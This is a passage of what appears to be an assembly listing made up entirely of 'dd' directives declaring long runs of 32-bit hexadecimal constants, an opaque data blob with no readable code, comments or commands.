0FAC82398h, 0C48BFF0Eh dd 0AC62F0D0h, 80F78922h, 0B1D402D8h, 0DFA948A2h, 0B4088814h dd 0E7DA5806h, 0F246B859h, 161E003h, 329C93F0h, 98B720FBh dd 4A1EEC9Eh, 3912C60Fh dd 0AF2C860h, 0FDAF23E1h, 0E4003911h, 94F60AFAh, 0FF38B1F8h dd 0A8740096h, 0D414C464h, 0D2B0A001h, 984E6467h, 61E160F5h dd 9BF023F2h, 8800E211h, 8C339E99h, 26031180h, 24AC52AFh dd 44049A14h, 0E70220F8h, 0D880D900h, 56F20BE9h, 69AC67A1h dd 4D9741E2h, 385C244Ch, 0FC122F00h, 21B4BFD1h, 3D09CCD9h dd 3B031821h, 65615812h, 600582DCh, 596A76Ch, 4E4AB7B5h dd 8D8240Fh, 0FBC4FEE0h, 8DD05883h, 95E038h, 90028BF3h dd 11E50C5h, 0A9E70D01h, 7CC635CDh, 13608C57h, 2A2FDDDBh dd 0B4316Fh, 573C022Dh, 9876633Bh, 4DB19201h, 1EF42561h dd 2486EFCh, 0BEA9DA45h, 38405A24h, 443B46D5h, 4CDE14E3h dd 12D6C080h, 43F7D1C5h, 0E3422B3h, 89122E0Fh, 0FDB78381h dd 0CC36F9F5h, 251498F9h, 883367h, 81E196A9h, 0F644E49h dd 4714FEDCh, 0CADD9A80h, 1B1227D9h, 4068FCh, 518A72BAh dd 4F150049h, 8FA110A7h, 0D003907Ch, 3F04655Eh, 0A9401321h dd 580A18C6h, 0A1011792h, 81427D71h, 0B8420BC4h, 8BFD3008h dd 0E0D02011h, 8793AB88h, 380451Dh, 8C5B8F18h, 9267ADFh dd 74736356h, 668024B7h, 78CEAC87h, 890A5h, 8CA662F2h dd 4FAA053h, 0CBC42105h, 7B80270Ch, 2F6C508h, 488758D0h dd 80442909h, 8E809C60h, 0A00E34FDh, 0F2CCE294h, 0DE5E03DCh dd 7540D57h, 0A3071879h, 2371F4B9h, 0D1B8C3h, 206E4810h dd 3A5034CBh, 334728C1h, 0A024E0CDh, 44D41464h, 0F203AC15h dd 1819FCC5h, 22977DD8h, 4868BE12h, 0DE501402h, 23684924h dd 19692888h, 0A5CEA882h, 27C8808Ch, 481AB046h, 4316B887h dd 21F40D37h, 4D1C0CD1h, 0A8191B6Ah, 0B470C030h, 823327Ch dd 57107E98h, 2F0C266Dh, 45608D14h, 885C0A21h, 0A9E480E9h dd 0EEDE3965h, 0CCF2FE01h, 700B1B2Ch, 0E2036432h, 2586CB0Fh dd 5044FCB1h, 0C46C82F8h, 4D3055B0h, 0A51BB123h, 0D83D00D2h dd 69A6B75Dh, 8BE89726h, 690A3B3Bh, 5F281851h, 0DE9E0EABh dd 9F5D4856h, 13461F5Dh, 0FCA80EF4h, 625BB343h, 901D64FFh dd 0F767DA24h, 0FFE62D02h, 83530A91h, 51734A0h, 4EABDCE9h dd 0A09800B5h, 0C003838Dh, 67008890h, 2AB84A62h, 3D23088h dd 57B04D6Dh, 790A5AA1h, 24540CC6h, 12712D91h, 0F4FD3A6h dd 0C68E0F58h, 2EC8D0Ah, 249FD4F0h, 0D9C0EC40h, 22144601h dd 363064C2h, 548ECC45h, 6AC0A088h, 0E49ED02Eh, 0CE6D09F7h dd 9803B124h, 8EB5FA6Bh, 0C0E3C8B0h, 8872DDBBh, 0A078B205h dd 0A31F0AF7h, 80FD9007h, 0A9842C79h, 269312DAh, 0A858149Ch dd 6232410h, 0EEE29950h, 406D7C19h, 0C71E3F3Dh, 67047658h dd 0FCC0592Ah, 0E435399h, 0BD96E99Ch, 0EB03AC0h, 0EF00FE58h dd 0ADC1ABCAh, 6018FDA6h, 845BDAE6h, 6F0005D9h, 5745FED8h dd 0C748C0h, 79D43BC1h, 0E6232F9Eh, 0E8E37100h, 0AEC930F8h dd 0C6F601DCh, 0B5D3B43h, 4B2C435h, 4101CF79h, 0BCDDC77Ah dd 70ECF2C1h, 83A7001Dh, 0AFD5782Eh, 9700C99Bh, 90E5DBA2h dd 0ACA487h, 7B0AD90Eh, 5618B20Ch, 0CD7DC507h, 0FE006493h dd 0D4CEC9h, 9CDE0835h, 0DB2E886Eh, 0A907AAFEh, 0EC875F60h dd 0D1C03090h, 3CF402F8h, 2C850115h, 0E7B0D063h, 0B200764Dh dd 0B31A58D8h, 0FE72B1FCh, 676803BCh, 6AD79B5Bh, 7017DBF9h dd 7D00F9E1h, 0A2B52516h, 0CB62972h, 8E2077A7h, 0AC067008h dd 0F9D7B906h, 13CF0048h, 461F124Ch, 0BF1D4209h, 0AED85D54h dd 3DBC2521h, 18069B5h, 0C71D20C9h, 0F2F8F565h, 8E528000h dd 164D7D2Ch, 28F60024h, 0C67EAC3Eh, 1000D8D5h, 797F8884h dd 6C1311h, 93CA4CAFh, 891840B7h, 0A167A600h, 5C38527Fh dd 7341C0FCh, 4169EE7Eh, 0DE0E3F00h, 423C6027h, 80020012h dd 0E824467Ah, 2F00A02Ah, 81B044C2h, 40268B4Dh, 7D0CADBCh dd 0C0B3B91Eh, 73711E22h, 7780BF5Ah, 0BBC8DFA2h, 150C0FCCh dd 187EB6FFh, 3AB3063Eh, 107CF45Ch, 81797000h, 0A99875C9h dd 64F6B2h, 0BB0BF86h, 0F01904DCh, 308FEE07h, 0C9501746h dd 719A89EDh, 10A80078h, 65B726FFh, 6D00BADEh, 4E1758D4h dd 0B4833h, 0CCE30A05h, 0E7999252h, 0F30067FCh, 0B4DF7E7Bh dd 0F59B8h, 778AC934h, 7A68977Fh, 9C569B00h, 963F2C2Eh dd 16DD09C0h, 3C0CA64Eh, 0CD006650h, 553E9D59h, 0FEEF5AD7h dd 3D3C07C7h, 0D0A0712Eh, 2A2095CCh, 5ACC101h, 8C924101h dd 76FA9C0h, 78C3B42Eh, 60E590h, 0EFC23780h, 0C60058D9h dd 0ED44524h, 18E84AEh, 0A1C999EDh, 0C8659426h, 400FEF1h dd 2C8BE7DFh, 0ED8EFD6h, 2B55F5D9h, 0CD2A3AE0h, 1401C50Eh dd 2218C843h, 0F4D0CAA4h, 0A5710065h, 0C2490326h, 7905619Fh dd 2FE2CB9Ah, 61591C82h, 64E9B3FCh, 90CA85F0h, 11EF0035h dd 0CE09B6EAh, 0C700DBDFh, 0F615013Dh, 0C993D3h, 9FFDAC04h dd 2CB7E60Dh, 0F36120Ah, 7608C068h, 0CCD68042h, 0CF07965Eh dd 808AA53Ch, 0B8DAC0A0h, 4948C1h, 79B1897Eh, 0F3264678h dd 2E905400h, 2445119Ah, 646F005Fh, 274BC882h, 0A3CCA3Bh dd 40B7A454h, 7440FB01h, 0A100B429h, 2F1FCC56h, 5A0E166Ch dd 0DCCE8A50h, 0DFE4B280h, 0E5AB19h, 8BA21ED6h, 0BAEB9190h dd 80C0CB00h, 8F36BB17h, 9446009Ah, 1C3E2BC6h, 0E328162Dh dd 0A01DEAF9h, 35DDDA58h, 0B493155Fh, 4F6E1043h, 100E75Bh dd 3092640Eh, 23780A1Bh, 4AFCB6CCh, 9635E100h, 737E7AB0h dd 3F71B3h, 86578C33h, 97627CA3h, 0D93AC879h, 72908077h dd 0E4FC55FFh, 0E71300DBh, 1E58011Dh, 0A300CEFEh, 622D2730h dd 4873090Ch, 0BF0020DBh, 414875ACh, 0ED1C2680h, 3CF0EEh dd 8A5AB1B9h, 0F921838h, 8C7E2969h, 4920622Fh, 93E14866h dd 0E4E96B02h, 0E0BD650Ch, 320B2C0h, 0FA8DC61Eh, 0F6B00FA0h dd 57F2A411h, 91228400h, 0A59CB4FFh, 35343FECh, 365CFB80h dd 754A3A7Dh, 1A18D402h, 48A7CC5Dh, 0E74804h, 24833F04h dd 6BF89FFCh, 5882E4E3h, 0B7F29E0h, 0AE03F8DDh, 0A0615EB0h dd 0DF014Ah, 0DA0663E9h, 0B4361DAFh, 24E7143Bh, 4C0170ECh dd 45DC8C6Fh, 3BB5030h, 5A811C13h, 79249369h, 203390A5h dd 4DC08066h, 75B060h, 0E89CCB41h, 0EF2E5202h, 0D53A2890h dd 11BA18F4h, 174D311h, 8D14F521h, 81F6ABECh, 480BFE19h dd 80D2B136h, 0DA1ECFF4h, 0E564007Bh, 7293C137h, 8A0043B7h dd 0E15F5D80h, 90A42EC4h, 639C3F30h, 0D720AB80h, 12FF3081h dd 0FAB9E707h, 0F0B05504h, 0FE313Ah, 712DD4D2h, 0F838E196h dd 5B4CD5A0h, 8307493Ch, 20D52AAEh, 0A874F863h, 1A441C1Ch dd 0F87D03EEh, 0F3C0BE59h, 0FB0F2985h, 0C0396FC5h, 1BB1702Fh dd 18B9001Ch, 0DBF913E7h, 0A00BD80h, 0E4A99F98h, 3B050797h dd 0BE002FF0h, 285BC92Ch, 6707ABF8h, 0E23B905Ah, 1B04A760h dd 77EFEF0h, 703EC239h, 0F89BE07Ch, 6E00C317h, 942D6BC7h dd 37C05Ah, 0B72FA176h, 7AC4FB08h, 2A5D900h, 2A997DFAh dd 5DC07B1h, 0E059EBF3h, 0F27E896Fh, 176EA31Eh, 7308BDC0h dd 0E442419h, 0D6AC778Bh, 0BBFF9600h, 0C0FF9357h, 4177C3E3h dd 238C4300h, 7D84E149h, 3B4A0115h, 0EEA49760h, 0B16CD0DFh dd 4D5BD900h, 0A9FC87F5h, 0FC60F34Bh, 0A40D00C3h, 9C24B4F7h dd 870374CEh, 0B72769DFh, 0D038F0C4h, 0CF810020h, 0F57E7110h dd 0DA009229h, 213DCC8Eh, 57E8B9h, 76D0DECAh, 24071786h dd 0F21F8109h, 0E8058034h dd 478C8FCh, 50182FDCh, 5CB881E7h, 62D424F3h, 0CE5B7E00h dd 0D830E6E0h, 26940067h, 0CD0AEF0Eh, 3500D706h, 0C2F0B139h dd 76903C1h, 0F82902D2h, 0E96AC0A5h, 0FF4D7A8Eh, 6E3F0078h dd 0DA34C3FAh, 0CFF60064h, 0D0C95BDFh, 0CA0068D6h, 0FE5CA224h dd 55FDB2Bh, 5ED822FDh, 310C00FCh, 21F361A1h, 7EE908C0h dd 2C9AAF20h, 8484A5CEh, 0D00EA858h, 851F8074h, 0FF82371Dh dd 339F2306h, 0C4D7F018h, 48012E10h, 0D33D0137h, 83B40FCDh dd 6CE8A20h, 263EF875h, 9CF0622h, 68D57762h, 0A918207Eh dd 0D879DF4Ah, 0D28201BBh, 265E9670h, 0D6418173h, 5875A9DEh dd 62789906h, 19929D00h, 0A6B43205h, 49440038h, 0BB11C4DFh dd 0A47FDE4Ch, 0F693CE01h, 90BD8F08h, 7C112C8h, 0AB1BA186h dd 7FB9E0BBh, 0E3062B8Dh, 0DA36E0Bh, 74A50161h, 0F8235E2h dd 479AC885h, 213E0CCCh, 0E27B0040h, 0D35C8623h, 187CDA91h dd 0D4613A29h, 0CA712A00h, 1962B97Dh, 98109EFh, 4A21873Dh dd 0E8B0CA66h, 718CBD23h, 60070056h, 21FD90Dh, 0F3041D7Fh dd 0AA4ECADh, 3A69A780h, 11CB15B4h, 83008419h, 0ADA5168Fh dd 3D0F850Eh, 99DE89h, 6E67FD95h, 29C70A8Ah, 3E8AE81h dd 6F75FE55h, 982038B5h, 31052B46h, 18C17B19h, 0F8EA30B3h dd 8476C000h, 8BA52786h, 6026744Eh, 704D2101h, 520E42BFh dd 600DBC11h, 0D02A0E7Eh, 14390012h, 0A4EB54BBh, 4D30C791h dd 48479887h, 5E590108h, 0B97CA2Bh, 75C45877h, 8234E208h dd 7C437017h, 42FBE203h, 9983E3B7h, 58B3BDF6h, 7FD0CCFCh dd 9A0F2CEEh, 1CFEB898h, 0E62EFC0h, 928A2503h, 0B6053C74h dd 7BCCD4h, 67785EA6h, 2F8F5823h, 660FFE3Eh, 15E9D730h dd 8C701930h, 73C0E780h, 26437E84h, 4B588870h, 536CBF00h dd 70622FC8h, 0A7E2246Dh, 2D25807Ch, 0EC9A77F8h, 0DC530802h dd 48DD6233h, 0F41DB7C8h, 549CA00Dh, 0D92B1D1Ah, 4E554418h dd 2C1880FDh, 6414A98Fh, 23A00FC0h, 0E3680172h, 0CA6F8241h dd 0C0143019h, 1551E3B3h, 951B4270h, 0F07999CAh, 0A796DB6h dd 0DA8FC960h, 0D4C11080h, 8CFCB80Ch, 7730F605h, 0E090A699h dd 0CDB862h, 96ACC246h, 2A76DBC1h, 0F1BAE000h, 57116D04h dd 0BE9C037Eh, 477B528Ch, 24C404A5h, 0E09340FBh, 0E30F4E82h dd 498FA6C0h, 0E300C0C1h, 0EF40204Ah, 77588E82h, 0E0243CC2h dd 0BDC6E939h, 1B149283h, 586D194Eh, 6F70D840h, 0E402FE43h dd 0E6847AC0h, 5910F631h, 0C400BF7Ch, 0E7B39DF2h, 1FEF6E75h dd 4DC3BD6h, 848E0673h, 94E827ECh, 9EC85A3h, 406134Ch dd 0F06080D4h, 99F49151h, 43C4A879h, 6083900Bh, 33B911A2h dd 200372CCh, 5807AD4Eh, 0BA082A4Fh, 3B9901ACh, 0FB9171CCh dd 539FC4A5h, 0D755AA01h, 404C1A0Bh, 284870D1h, 73CC0436h dd 32A91620h, 3E9E20B3h, 543BE5CCh, 6F00FFC1h, 0E15B0985h dd 4248F87h, 0B70EB146h, 4720801Eh, 0F03EF189h, 80CF73Dh dd 4818E686h, 928270A6h, 0BEB4093Ch, 6000F149h, 0D6E3D358h dd 818DB06h, 0A079738Dh, 3181CBC4h, 76200D4Eh, 0F5509121h dd 8C738C40h, 74CC3502h, 16A91E20h, 0CC3D6700h, 0F9F0A316h dd 2BEF013Ch, 1314DABEh, 20B02130h, 0E2882F04h, 0F339C7A9h dd 20E471DDh, 0B7E6CC2Eh, 45586001h, 0BFF0885Ch, 4C4380CCh dd 0E700142Dh, 21D3596Dh, 9025A76Ah, 0CC240AB3h, 6A806811h dd 3F8233E3h, 715A0087h, 0D3FCEEE2h, 1B610E01h, 62FDFADFh dd 4B072422h, 20E57DD1h, 0FC6DE81Ah, 928B5409h, 8ED30101h dd 2883D66Fh, 9EB2CD1h, 0C5389894h, 80195080h, 79C03DA3h dd 0C75779DDh, 809D008Ah, 0F7DC64C3h, 8B03730Ch, 0F144032h dd 0A1307012h, 19696Ch, 478232C9h, 0A7546CA4h, 7A004584h dd 0BBD7ECE2h, 0EE93A8h, 0D00676B3h, 375F2ACCh, 0FAA40150h dd 14125891h, 0B023803Ah, 91E85A00h, 78B5BCAh, 2585F05Ch dd 7080A9E5h, 0D69DDEDBh, 935C7CB0h, 7D1913CBh, 0C0A06867h dd 8C96847Ch, 94FFF44h, 8D1DBF7Eh, 58C84081h, 0FC16D95Dh dd 0AD836A89h, 303D08C2h, 0F810CA76h, 4BE05ABAh, 2707CA6Fh dd 8778AA18h, 806845Ah, 90F9A08Ah, 0E681C7F0h, 0DB9400CEh dd 0F8A9D385h, 4678168Ch, 0CA730248h, 3172BAE7h, 68401032h dd 88781CCAh, 6CCE01A7h, 8992E411h, 0F69C10F4h, 22142A12h dd 4B033CA2h, 0AF991383h, 8CD28092h, 1D3600FBh, 0D0A0C486h dd 2009E6BCh, 2C29CF5Fh, 580E508Ch, 9F10247Ch, 0B8BC901Ah dd 68008CF2h, 1E925320h, 4C6AB791h, 8100E4B0h, 0FDA706F8h dd 650B546Ch, 222EE6ACh, 410F8600h, 3C4E9178h, 82C0F3C8h dd 186EF87h, 0E7D0C963h, 53318CA6h, 0C8FC0888h, 660C018h dd 0BF32FA39h, 747C0071h, 83E4D495h, 8A0BE89Fh, 5410D92h dd 0DC45420Ch, 0F440DE99h, 46E5DF53h, 0ED330056h, 928C4493h dd 0EF4CD638h, 2ABE2290h, 0ADCC3AC0h, 5381E060h, 3D268E83h dd 8A0BC4F2h, 8020B7CBh, 4A15C57Bh, 55282784h, 9950C88Dh dd 523AD154h, 0EC844D1Bh, 0C9DA0279h, 0C5B42DB9h, 10093861h dd 0BDF174h, 2ADE2695h, 477A6601h, 83C93A03h, 2C0AA48Dh dd 0F82529h, 748C0284h, 5B2D230Eh, 61D809h, 0B9738541h dd 0F99AEEA2h, 1F3D3000h, 7D572C32h, 0FCA0546h, 0C05086B6h dd 0F9110D94h, 4F6C7E01h, 0B55A8E0Ah, 0E6D7F083h, 888362CBh dd 22C2F5B8h, 7909CE00h, 5EB79D54h, 404361BAh, 0F0B1872Ch dd 0C3FC0FCDh, 85A4223Ah, 0E332028Fh, 3D23902Fh, 29C250Ch dd 850D0A76h, 0E8FC05h, 2A75016h, 0BF48824Fh, 3DB98194h dd 86037EBh, 2E04B011h, 627C4125h, 7D19C17Ah, 4A846020h dd 0FD6C324Eh, 0BF494A20h, 6DFF09BEh, 868C4481h, 8788AB60h dd 6C2630DFh, 7734FF78h, 0A0525C40h, 305E8270h, 0D6B0F63Ah dd 44D62ACh, 4722244Ch, 9A396800h, 383ADA8Fh, 0C68F0DF1h dd 262683F7h, 4A1858B1h, 0FE9103C1h, 68910080h, 1FE2E1A8h dd 0CB09B4FAh, 6D8D7A14h, 0AE1EE3B0h, 0D6A0488Ch, 81232084h dd 2098282Bh, 9225B20Dh, 11809D23h, 35F38032h, 0F6CAB927h dd 126AB003h, 40ABE3FBh, 33656BC0h, 5E003B81h, 0A46EDCC4h dd 7470D7B3h, 0D36015Bh, 8A56AA49h, 7F9040E2h, 0B626B782h dd 0E485AC88h, 0E083EEC4h, 0EE4ADBE3h, 98621B18h, 9DE860F4h dd 3514B8E5h, 0F00207h, 0E0815095h, 3A8237D2h, 18873657h dd 0C0736A8Eh, 0C3C445D7h, 0C03CB75Ch, 40DA717Fh, 0FA7B0E61h dd 79C12DCDh, 4026020Ch, 8C0475E5h, 9F006AE2h, 73A8E948h dd 1919E58h, 0AC025652h, 0B0F0CD8Eh, 2F5718C0h, 0B41B0465h dd 0FE59BEh, 0DE8E026Eh, 3AFCB0A2h, 34B0A483h, 0F58B8581h dd 588E5E0Eh, 958780EBh, 598F9081h, 8001602Eh, 0B8080BCCh dd 2AD434A4h, 243B8718h, 5444B20h, 0F5DEDC6Ch, 7F90068Fh dd 8D0030C3h, 93199655h, 40F77721h, 0B700BD22h, 2E12EB9Fh dd 4C2879h, 3E27A191h, 0F3DA8329h, 0F4234B01h, 0E32A36AAh dd 28B6088Ch, 0D2006D20h, 0AF4453F3h, 1A75BBDh, 0A30F0A91h dd 0D32806D6h, 72C94800h, 64BA7665h, 0B20A1944h, 0BF03086Ch dd 657A8021h, 0AEB3A50Fh, 26F400C5h, 0AF9458EAh, 2A3EFB70h dd 0C7BD0CA3h, 182260B7h, 2003D616h, 2B338A71h, 29188Ch dd 88F1B051h, 90DE423Ah, 4E448A5h, 2D805460h, 7E172400h dd 2E1F203Fh, 89BB0E22h, 49A3CCD3h, 8AD80913h, 28607640h dd 6B46E328h, 6858032Eh dd 36E4E518h, 49F560FFh, 5D7CB171h, 0BF0A7D07h, 4780CBEFh dd 0EC669C80h, 0FCF33889h, 0A5C54900h, 1FBD5969h, 25B03Bh dd 8A786A82h, 0AB3856h, 6815CAF5h, 527DC5C2h, 2C368900h dd 0BC119D79h, 0C0CB0764h, 489358ABh, 0E154A180h, 1F204DB0h dd 6CCAF26h, 20CB1C41h, 0C2677400h, 0B7CDFE98h, 0A35E0F01h dd 566F9Bh, 0C11C0E22h, 571B5D06h, 0E050E024h, 1F44E4Ah dd 0FD338B0h, 2039174Ch, 0E93EB999h, 20950028h, 97385957h dd 2D4C1E70h, 3F4D8EFBh, 0BE55B180h, 0C13C88D2h, 0BA1080FCh dd 423C2692h, 30E17CE0h, 4C18C211h, 8171B738h, 90D49D04h dd 2044EF31h, 98D243B3h, 464901A1h, 40136903h, 6CA983E2h dd 15F1700Eh, 88F5FDC0h, 0A883DF3Bh, 0E9B9D80h, 213BF6A3h dd 47A071h, 0F8B0DBAEh, 42133550h, 0C746AF01h, 36F99DE3h dd 0A6F8044Fh, 0A50E5FCh, 0AB373C08h, 69B020DAh, 39F2767h dd 89E27F44h, 18CBB7EAh, 483C14C0h, 0E3023303h, 829C4FAh dd 869AEB29h, 88E17408h, 0C5883224h, 8497903Ah, 2048E62Ah dd 2EC72742h, 0E8C084F0h, 0DC421C48h, 408F2422h, 4E06D169h dd 20C400CDh, 4CE4FFEFh, 0BD00DB0Ch, 82BEF550h, 229362h dd 349D13B0h, 157E25B7h, 68576B00h, 6677147Ah, 2C721F64h dd 0C6768082h, 1802EB9h, 61D3C700h, 0A0E36C4Ch, 0D7E4DDh dd 2D97E968h, 0DA0E2656h, 0F54ED000h, 0EF7F42BDh, 772F649h dd 5275C367h, 103D001Bh, 7C004AA6h, 191896F8h, 2D8238h dd 0CE6EFBF0h, 695AE9F7h, 1009DC06h, 3D421A4Ah, 0A9800EC0h dd 0DA362BA3h, 0D8E0F531h, 0E471B7FAh, 247F800h, 0F8BCACBh dd 74C6002Ah, 8A2EACEBh, 0D990633Ah, 53F4D500h, 0D4A0CE84h dd 606E5854h, 0DBB30F00h, 8F88D829h, 26064D0Fh, 0B93B0064h dd 67179145h, 5FB548F3h, 4200A96Eh, 0DD980138h, 114F848h dd 4534F19Fh, 63D4FBC0h, 0B91B001Fh, 0B6FDF7F3h, 68F8CDE9h dd 0E790A507h, 0EE90C898h, 0CDC8D29h, 0E156E6ECh, 0BC0B6E60h dd 80108FFEh, 9F481190h, 8BCB0093h, 901ACAE0h, 4D042704h dd 1B330325h, 0F56E5880h, 6F08009Fh, 0DBAD2DEAh, 0A90FBF30h dd 0CC465692h, 86EF3h, 1E9AA4EEh, 878FD29Eh, 7604A600h dd 0F4B91D78h, 817C3D2Bh, 53B7D00h, 29C3B785h, 3F771018h dd 30A010h, 3B883CB1h, 9F1E82AAh, 0CD52F000h, 1BCC318h dd 7C490094h, 0D38CE8E3h, 9B0F1DAAh, 0A0D0E68Dh, 8B6BF8FEh dd 26C00011h, 2524BA91h, 0D3E6B922h, 72762D00h, 0F62FBCB5h dd 581E00F4h, 4CE68255h, 0A9007EB2h, 1BA0D98Eh, 0E58396h dd 0B015D608h, 3A3F856Bh, 27735D0Eh, 7EBD22EBh, 0C2C7E02Eh dd 728D005Fh, 0A809A428h, 2707BE14h, 4F12940Ah, 99824560h dd 0B54D0E92h, 2DC0F0DDh, 0C39E7378h, 80AC3250h, 1AC7EC00h dd 22AEB91Fh, 8A37003Dh, 0B579E94Eh, 0CB00067Dh, 63439712h dd 64D7E7h, 84A6520Dh, 2AF0B616h, 14F4CE7Dh, 0D3D4F561h dd 9820A10Ah, 0C6740Fh, 4F6E060Eh, 52BF69E9h, 9AF3FE02h dd 40B1A76Dh, 36861Ch, 0ECE8D030h, 5DD3A894h, 7A33FDFEh dd 98F38C3Fh, 0C0540B2Dh, 4E9BD831h, 9950A95Bh, 0B9005CF9h dd 1DDCE5D1h, 9092D9C0h, 0E3A80024h, 0B1FCD330h, 0FE39F821h dd 5C779F61h, 87E45B89h, 0C1B09280h, 76FB06Ah, 9360DA40h dd 85066018h, 2101F7CDh, 7924BCF6h, 98FF4BD4h, 0FE4FD92h dd 3E839335h, 5628E8E0h, 0D30E48BDh, 40F2F7EFh, 0BCDEDA41h dd 85010004h, 0D2AE0674h, 9100488Bh, 73F94A2h, 33EE9C7h dd 0E67120CAh, 76A0CC82h, 0EF5C03A0h, 0D2691C6Dh, 89341140h dd 803B9Ch, 0A4855788h, 765AD18Ch, 754CA600h, 932D9681h dd 6BA93DDFh, 0D458D860h, 771F3BDEh, 14C7C699h, 41705AE3h dd 0FC458D02h, 7C5F1C73h, 40C0DD1Bh, 0B1AA34BDh, 4E003E5Ch dd 0BB638389h, 0F12C0Ch, 62EBC6CCh, 57A0DCF4h, 64DC09Fh dd 0FDB0001Dh, 0AF123641h, 1600BBB1h, 84A4E0AEh, 0AA80D9h dd 0D6FB2309h, 9FF4E374h, 62307975h, 67761E89h, 5EFF00F0h dd 5696F911h, 6A50347Bh, 1D001CBCh, 0AD65999Fh, 0AA14360h dd 3B019CB8h, 9E7904ADh, 327A8096h, 0AA4C92BFh, 0E3FC1F70h dd 60447A4Eh, 40ECF2F5h, 639D00A5h, 2C7D4173h, 0EA000ABBh dd 91A19B03h, 0D4A75Fh, 88FD0E04h, 0B6062EAEh, 97711C0Fh dd 3C0B93FCh, 0E18902h, 0ED6EB33Ch, 198B085h, 0A3D13565h dd 34F0A01Fh, 9930EF84h, 673A980Ah, 288A044Ah, 0C0C181FCh dd 0CDA082D0h, 40187700h, 0B70617C5h, 2112194Ch, 603B20B3h dd 0D0EB53Ah, 13565DE5h, 912D9000h, 3CB6545h, 1584833Fh dd 808546D0h, 4BC8E87Ah, 9BFD1B00h, 2ED80703h, 76720E91h dd 1CA37D43h, 7CB0E2D6h, 0AD008897h, 12AF48E9h, 75713670h dd 0C6A0048Ch, 0C082B498h, 64528518h, 0E088D00h, 32E7A131h dd 4B89001Bh, 0FCB1EDDFh, 0D7013585h, 28788705h, 8206D12h dd 3CFDB8E7h, 13006951h, 0C12C636Eh, 19FCC657h, 1F40603h dd 0A1948303h, 53C0FB46h, 2DA0003Ch, 0A0C6080h, 0F100A775h dd 8DDD70BAh, 98CB35h, 7E44E365h, 454CC8C5h, 0F0A14A00h dd 0D5AA66EEh, 0A857008Bh, 0F231E71h, 0B3016A6Eh, 0C4B2EB5Bh dd 5FDDC249h, 5ACA20h, 78FF0559h, 0B5FD6B64h, 79DBF000h dd 14E11915h, 396D0C95h, 88904F31h, 0DD45B200h, 0ED337C86h dd 14AE0052h, 70FE5C48h, 0BB00161Ah, 0B758358Eh, 0F5D9F4h dd 4776B427h, 0DCA7F6D5h, 0DF03E6FAh, 4D54CCB6h, 6589B05Eh dd 19EF41Fh, 0F5C0059Fh, 6062D2BCh, 1800A0B7h, 0C2348730h dd 0E62389EBh, 0CB330082h, 2FF71E8Ah, 807F858Ch, 29E86A1Fh dd 0F9C873C0h, 0F6F603Eh, 9A9DBC41h, 0BF52E000h, 713E40CFh dd 117C80A1h, 36588BCDh, 3F740018h, 7E12FA01h, 1E00933Dh dd 0FEA502D8h, 0ED6EC94h, 0F795E5E7h, 0A7E84F7Dh, 0CCFCA4C2h dd 818080E3h, 303C52D8h, 16F70080h, 69EB4DEFh, 4B7701FCh dd 781748B7h, 4488809Ch, 0A582CA16h, 2315173Eh, 4F1A0004h dd 0F827F1C0h, 79C5F200h, 1EFDA1D7h, 0BF9B0F19h, 59A0B238h dd 8D5EA303h, 8A92B00h, 0C8C618B3h, 0C489C13Ah, 64F4C3DCh dd 0AB0680FCh, 0F3B0D79Dh, 0BF120094h, 51A0CC3Bh, 3E00A6EDh dd 0B64B207Ch, 7699F2h, 4DA4C0D2h, 0F5AC6B0Ah, 34A8B905h dd 1C8796D6h, 0FB0C140h, 737151h, 13333E23h, 75043F9h dd 1034C200h, 5E549B96h, 596E3EF4h, 558ED200h, 0A15261DBh dd 0C3A59000h, 297A9DF3h, 0C20A006Ch, 58261860h, 0CB006F71h dd 9163CD8Dh, 0E43A9A69h, 0F6EF00B0h, 0EC2B53C6h, 0D7A020E8h dd 7AE88AD6h, 690056FEh, 1FA61826h, 94CA41h, 6B25C43Dh dd 4B1C64A7h, 3F674713h, 285C4C00h, 1D7BFFEAh, 0C011CA4Dh dd 443DF68Fh, 4600495Eh, 63BB7FE2h, 9C5F2Fh, 0F7A8D198h dd 4F326FF4h, 0A756A500h, 198190B8h, 40B30988h, 0F480F5C3h dd 0FB6E3A3h, 1F11DA00h, 68A9189h, 0D82C4D54h, 9573CD00h dd 0FF33B3BEh, 0B921B801h, 0ED18EFB7h, 0DA303EC9h, 99E20040h dd 0D841D043h, 0F23D3120h, 0C03680FDh, 2AF1972h, 9C30F55h dd 3800ECAAh, 9A60B216h, 1CC90400h, 0C1767E5Eh, 0D2DA0077h dd 43A0987Ch, 0F14CAD0Ch, 150074CCh, 0B9C23089h, 0E3ED9BBFh dd 0CC2C24h, 0A81CA27Eh, 0CDDF8C35h, 620055FCh, 96749094h dd 1370BFh, 9565AB7h, 7CB383F5h, 1D020674h, 2495129Eh dd 0B086407Ah, 0C70F0011h dd 296DC88Eh, 5600CB48h, 64C435BEh, 48468B9Ch, 11079E21h dd 30E40C30h, 49FAABBh, 76BD1801h, 3320EF2Ch, 40CAD842h dd 3ABBEA8h, 0EC11B201h, 0D5988696h, 9E007A9Fh, 0E9DB72BDh dd 42C6C28h, 0F70FFF35h, 38481C1h, 20288014h, 7C61CB4Fh dd 0BDF00075h, 0CCF51871h, 99003D57h, 3B70C4D6h, 3C0A50FDh dd 2F9EF8CAh, 0FA8CC02Dh, 7F3508D0h, 0FCDB4500h, 0A3311CF3h dd 924700CFh, 81D02567h, 0D407ED05h, 27910986h, 0E3BEA7AFh dd 0F9C0FCh, 0F42C39AAh, 0B8B3A3C5h, 0AC8DD0C0h, 51FA918h dd 41AAECEAh, 1BE4816Bh, 0DD3FE056h, 65675800h, 0E030C8FBh dd 0F417887h, 88F3EB4Eh, 4711C53Eh, 0E3B09033h, 0D26E18Ah dd 9C1C2C91h, 64587C40h, 253190h, 0DFB4B77Eh, 0B30B6EADh dd 0A6D6D005h, 0E5C463D2h, 0F4CA9400h, 48C64723h, 1E05123Eh dd 0C3241Bh, 0BE8B08ECh, 8C5CE952h, 0F03C00B4h, 0D6449D2Ah dd 97561DB1h, 0A0F4060h, 88A92813h, 0C83D09E4h, 153D1C84h dd 47694081h, 4CF8A1F1h, 2449AC2h, 14C7515Fh, 18C0D878h dd 0B339AF83h, 0BDA48455h, 5CA06902h, 627FA2h, 0D36F03D5h dd 0BDB7790Eh, 1E604500h, 0DF0DFFDh, 9CB7044h, 25E01D13h dd 9490AC63h, 0C300C7ABh, 9BF2DC9Ah, 0FE4C72EBh, 3FD90766h dd 45DD7339h, 6CA00BEDh, 8C13D0A0h, 0EE071BF1h, 7D27B8C6h dd 0D9FA26D0h, 935100A8h, 9BA1BA63h, 0C800CD6Ah, 84602FA6h dd 300E12h, 395DFCEDh, 